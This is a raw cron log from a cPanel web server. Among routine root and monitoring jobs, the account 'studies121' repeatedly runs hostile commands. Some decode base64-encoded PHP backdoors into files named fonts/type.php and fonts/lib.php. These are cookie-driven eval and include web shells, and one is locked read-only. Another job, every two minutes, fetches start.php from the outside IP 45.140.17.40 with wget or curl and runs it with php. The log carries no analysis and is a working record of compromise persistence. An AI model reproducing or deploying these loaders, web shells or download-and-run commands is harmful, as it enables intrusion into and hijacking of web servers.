Sep  4 09:09:01 ip-184-168-122-23 CROND[27449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:09:01 ip-184-168-122-23 CROND[27454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:09:01 ip-184-168-122-23 CROND[27456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:09:01 ip-184-168-122-23 CROND[27459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:09:01 ip-184-168-122-23 CROND[27458]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 09:10:01 ip-184-168-122-23 CROND[27640]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:10:01 ip-184-168-122-23 CROND[27637]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:10:01 ip-184-168-122-23 CROND[27641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:10:01 ip-184-168-122-23 CROND[27634]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:10:01 ip-184-168-122-23 CROND[27636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:10:01 ip-184-168-122-23 CROND[27638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:10:01 ip-184-168-122-23 CROND[27635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:10:01 ip-184-168-122-23 CROND[27639]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 09:11:01 ip-184-168-122-23 CROND[27777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:11:01 ip-184-168-122-23 CROND[27778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:11:01 ip-184-168-122-23 CROND[27780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:11:01 ip-184-168-122-23 CROND[27781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:12:01 ip-184-168-122-23 CROND[27888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:12:01 ip-184-168-122-23 CROND[27890]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:12:01 ip-184-168-122-23 CROND[27891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:12:01 ip-184-168-122-23 CROND[27892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:12:01 ip-184-168-122-23 CROND[27893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:13:01 ip-184-168-122-23 CROND[28006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:13:01 ip-184-168-122-23 CROND[28008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:13:01 ip-184-168-122-23 CROND[28011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:13:01 ip-184-168-122-23 CROND[28012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:14:01 ip-184-168-122-23 CROND[28215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:14:01 ip-184-168-122-23 CROND[28216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:14:01 ip-184-168-122-23 CROND[28219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:14:01 ip-184-168-122-23 CROND[28220]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:14:01 ip-184-168-122-23 CROND[28217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:15:01 ip-184-168-122-23 CROND[28335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:15:01 ip-184-168-122-23 CROND[28340]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:15:01 ip-184-168-122-23 CROND[28338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:15:01 ip-184-168-122-23 CROND[28337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:15:01 ip-184-168-122-23 CROND[28339]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:15:01 ip-184-168-122-23 CROND[28342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:16:01 ip-184-168-122-23 CROND[28469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:16:01 ip-184-168-122-23 CROND[28472]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 09:16:01 ip-184-168-122-23 CROND[28474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:16:01 ip-184-168-122-23 CROND[28471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:16:01 ip-184-168-122-23 CROND[28473]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:16:01 ip-184-168-122-23 CROND[28470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:17:01 ip-184-168-122-23 CROND[28603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:17:01 ip-184-168-122-23 CROND[28605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:17:01 ip-184-168-122-23 CROND[28606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:17:01 ip-184-168-122-23 CROND[28607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:18:01 ip-184-168-122-23 CROND[28754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:18:01 ip-184-168-122-23 CROND[28756]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:18:01 ip-184-168-122-23 CROND[28757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:18:01 ip-184-168-122-23 CROND[28758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:18:01 ip-184-168-122-23 CROND[28759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:19:02 ip-184-168-122-23 CROND[28887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:19:02 ip-184-168-122-23 CROND[28889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:19:02 ip-184-168-122-23 CROND[28888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:19:02 ip-184-168-122-23 CROND[28890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:20:02 ip-184-168-122-23 CROND[29118]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 09:20:02 ip-184-168-122-23 CROND[29119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:20:02 ip-184-168-122-23 CROND[29121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:20:02 ip-184-168-122-23 CROND[29120]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:20:02 ip-184-168-122-23 CROND[29123]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 09:20:02 ip-184-168-122-23 CROND[29124]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:20:02 ip-184-168-122-23 CROND[29125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:20:02 ip-184-168-122-23 CROND[29127]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:20:02 ip-184-168-122-23 CROND[29128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:21:01 ip-184-168-122-23 CROND[29301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:21:01 ip-184-168-122-23 CROND[29304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
